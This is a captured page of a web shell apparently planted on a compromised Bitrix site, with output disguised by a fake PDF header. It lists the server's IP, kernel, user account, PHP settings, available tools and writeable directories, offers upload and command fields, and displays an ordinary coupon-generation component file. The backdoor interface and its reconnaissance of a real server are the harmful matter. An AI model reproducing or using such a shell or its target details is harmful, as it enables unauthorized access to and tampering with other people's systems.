%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.137.117
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.discount.coupon.mail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.discount.coupon.mail/class.php
<?php
use \Bitrix\Main\Localization\Loc as Loc;
use \Bitrix\Main\SystemException as SystemException;
use \Bitrix\Main\Loader as Loader;
use \Bitrix\Sale\Internals\DiscountCouponTable;
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();

Loc::loadMessages(__FILE__);

class CSaleDiscountCouponMailComponent extends CBitrixComponent
{
	const DAY_LIMIT_TYPE = 'days';
	const WEEK_LIMIT_TYPE = 'weeks';
	const MONTH_LIMIT_TYPE = 'months';
	protected $isNewDiscount = false;
	/**
	 * @param $params
	 * @override
	 * @return array
	 */
	public function onPrepareComponentParams($params)
	{
		$params["CACHE_TIME"] = 0;
		$params["DETAIL_URL"] = trim($params["DETAIL_URL"]);

		return $params;
	}

	/**
	 * @override
	 * @throws Exception
	 */
	protected function checkModules()
	{
		if(!Loader::includeModule("sale"))
			throw new SystemException(Loc::getMessage("CVP_SALE_MODULE_NOT_INSTALLED"));
		if(!Loader::includeModule("catalog"))
			throw new SystemException(Loc::getMessage("CVP_CATALOG_MODULE_NOT_INSTALLED"));
	}

	/**
	 * @param $type
	 *
	 * @return bool
	 */
	protected function checkTypeLimit($type)
	{
		return in_array($type, [
			self::DAY_LIMIT_TYPE,
			self::WEEK_LIMIT_TYPE,
			self::MONTH_LIMIT_TYPE,
		]);
	}

	/**
	 * @override
	 * @throws Exception
	 */
	protected function prepareData()
	{
		if ($this->arParams['USE_DISCOUNT_ID'] === 'Y')
		{
			$saleDiscountId = (int)$this->arParams['DISCOUNT_ID'];
		}
		else
		{
			$saleDiscountId = $this->getDiscountId();
		}

		$type = ($this->arParams['COUPON_TYPE'] === 'Basket') ? DiscountCouponTable::TYPE_BASKET_ROW : DiscountCouponTable::TYPE_ONE_ORDER;
		$this->arResult['COUPON'] = '';
		if ($saleDiscountId)
		{
			$coupon = DiscountCouponTable::generateCoupon(true);
			$addFields = [
				'DISCOUNT_ID' => $saleDiscountId,
				'COUPON' => $coupon,
				'TYPE' => $type,
				'MAX_USE' => 1,
				'USER_ID' => 0,
				'DESCRIPTION' => $this->arParams['COUPON_DESCRIPTION'],
			];

			if ($this->arParams['COUPON_IS_LIMITED'] === 'Y'
				&& (int)$this->arParams['COUPON_LIMIT_VALUE'] >= 0
				&& $this->checkTypeLimit($this->arParams['COUPON_LIMIT_TYPE'])
			)
			{
				$today = new \Bitrix\Main\Type\DateTime;
				$addFields['ACTIVE_FROM'] = clone($today);
				$addFields['ACTIVE_TO'] = $today->add((int)$this->arParams['COUPON_LIMIT_VALUE']." ".$this->arParams['COUPON_LIMIT_TYPE']);
			}

			$addDb = DiscountCouponTable::add($addFields);
			if ($addDb->isSuccess())
			{
				$this->arResult['COUPON'] = $coupon;
				if ($this->isNewDiscount)
				{
					CSaleDiscount::Update($saleDiscountId, array('ACTIVE' => 'Y'));
				}
			}
		}
	}

	/**
	 * @return int
	 */
	protected function getDiscountId()
	{
		$discountId = null;
		$xmlId = $this->arParams['DISCOUNT_XML_ID'];
		$saleDiscountValue = (float) $this->arParams['DISCOUNT_VALUE'];
		$saleDiscountUnit = (string) $this->arParams['DISCOUNT_UNIT'];
		$siteId = $this->getSiteId();
		if ($xmlId == '' && $saleDiscountValue > 0 && $saleDiscountUnit <> '')
		{
			$xmlId = "generatedCouponMail_".$saleDiscountValue."_".$saleDiscountUnit;
		}

		$fieldsAdd = [
			'LID' => $siteId ? $siteId : CSite::GetDefSite(),
			'NAME' => Loc::getMessage("CVP_DISCOUNT_NAME"),
			'ACTIVE' => 'Y',
			'ACTIVE_FROM' => '',
			'ACTIVE_TO' => '',
			'PRIORITY' => 1,
			'SORT' => 100,
			'LAST_DISCOUNT' => 'Y',
			'XML_ID' => $xmlId,
			'USER_GROUPS' => [2],
			'ACTIONS' => [
				'CLASS_ID' => 'CondGroup',
				'DATA' => [ 'All' => 'AND' ],
				'CHILDREN' => [
					[
						'CLASS_ID' => 'ActSaleBsktGrp',
						'DATA' => [
							'Type' => 'Discount',
							'Value' => $saleDiscountValue,
							'Unit' => $saleDiscountUnit,
							'All' => 'AND',
							'Max' => '0',
							'True' => 'True'
						],
						'CHILDREN' => []
					]
				]
			],
			'CONDITIONS' => [
				'CLASS_ID' => 'CondGroup',
				'DATA' => [
					'All' => 'AND',
					'True' => 'True',
				],
				'CHILDREN' => []
			]
		];

		if($xmlId == '')
		{
			return null;
		}

		$fields = [
			'XML_ID' => $xmlId,
			'ACTIVE' => 'Y'
		];
		$saleDiscountData = \Bitrix\Sale\Internals\DiscountTable::getList([
			'filter' => $fields,
			'select' => ['ID', 'ACTIONS', 'CONDITIONS']
		]);
		$serializedAction = serialize($fieldsAdd['ACTIONS']);
		$serializedCondition = serialize($fieldsAdd['CONDITIONS']);
		while ($saleDiscount = $saleDiscountData->fetch())
		{
			if($saleDiscount['ACTIONS'] == $serializedAction && $saleDiscount['CONDITIONS'] == $serializedCondition)
			{
				$discountId = $saleDiscount['ID'];
			}
		}

		if (!$discountId)
		{
			$fieldsAdd['ACTIVE'] = 'N';
			$discountId = CSaleDiscount::Add($fieldsAdd);
			$this->isNewDiscount = true;
		}

		return $discountId;
	}

	/**
	 * Start Component
	 */
	public function executeComponent()
	{
		try
		{
			$this->checkModules();
			$this->prepareData();
			$this->includeComponentTemplate();
		}
		catch (SystemException $e)
		{
			ShowError($e->getMessage());
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit